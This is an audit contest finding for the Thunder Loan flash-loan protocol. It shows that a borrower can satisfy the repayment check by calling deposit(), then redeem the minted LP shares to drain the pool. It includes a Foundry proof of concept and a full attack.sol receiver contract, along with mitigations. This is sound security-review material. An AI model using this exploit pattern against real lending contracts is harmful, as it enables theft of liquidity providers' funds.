Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

A flash loan can be repaid by calling deposit() instead of repay(), letting the borrower drain LP funds through the AssetTokens they receive

Root + Impact

flashloan() does not verify that the loan was repaid through repay(). It only checks, after the receiver's callback, that the AssetToken vault's underlying balance is at least the starting balance plus the fee. deposit() moves underlying into exactly that vault, so a borrower can satisfy the check by depositing the borrowed funds (plus fee) instead of repaying them. The difference is decisive: a repayment gives the borrower nothing, but a deposit mints them AssetTokens, the interest-bearing LP shares of the pool. The borrower walks away holding claims on essentially the entire pool they just "repaid", and redeeming those AssetTokens pays them the LPs' underlying a second time. The flash loan fee is the only money the borrower ever spends.

Description

function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
...
receiverAddress.functionCall(abi.encodeWithSignature("executeOperation(...)", ...));
uint256 endingBalance = token.balanceOf(address(assetToken));
// @> if (endingBalance < startingBalance + fee) {
// @> revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
// @> }
s_currentlyFlashLoaning[token] = false;
}
​
function deposit(IERC20 token, uint256 amount) external ... {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
assetToken.mint(msg.sender, mintAmount); // <-- shares minted for the "repayment"
...
token.safeTransferFrom(msg.sender, address(assetToken), amount); // <-- lands in the same vault the check reads
}

Nothing distinguishes borrowed-then-deposited funds from a genuine deposit, and deposit is not blocked while a flash loan is in progress (the s_currentlyFlashLoaning flag is only consulted by repay).

Risk

Likelihood: High - any flash loan borrower can do this with a few lines in their receiver contract; it works for the full balance of any allowed token pool.
Impact: High - direct theft of LP funds: in the verified PoC the borrower borrows the pool's entire 100 token balance, deposits it back, redeems 99 of the resulting AssetTokens for about 99.7 underlying, and the original LP's redemption of their deposit reverts because the vault no longer holds enough to pay their claim.

Proof of Concept

Verified with Foundry (test passes). LP deposits 100 tokenA. The attacker's receiver borrows all 100, calls deposit(100 + fee) inside executeOperation (the loan completes without reverting), receives ~99.7 AssetTokens, and redeems 99 of them for ~99.7 tokenA. The LP's subsequent full redemption reverts for insufficient vault balance.

function executeOperation(address token, uint256 amount, uint256 fee, address, bytes calldata) external returns (bool) {
IERC20(token).approve(address(thunderLoan), amount + fee);
thunderLoan.deposit(IERC20(token), amount + fee); // "repay" via deposit
return true;
}
// after the loan:
// assetToken.balanceOf(receiver) > 99e18
// receiver.redeem(99 AssetTokens) -> ~99.7 tokenA of LP money
// LP redeem(type(uint256).max) -> reverts, vault is drained

Recommended Mitigation

Block deposits while a flash loan of that token is active, and/or verify repayment actually came through repay():

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__CurrentlyFlashLoaning();
+ }
...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!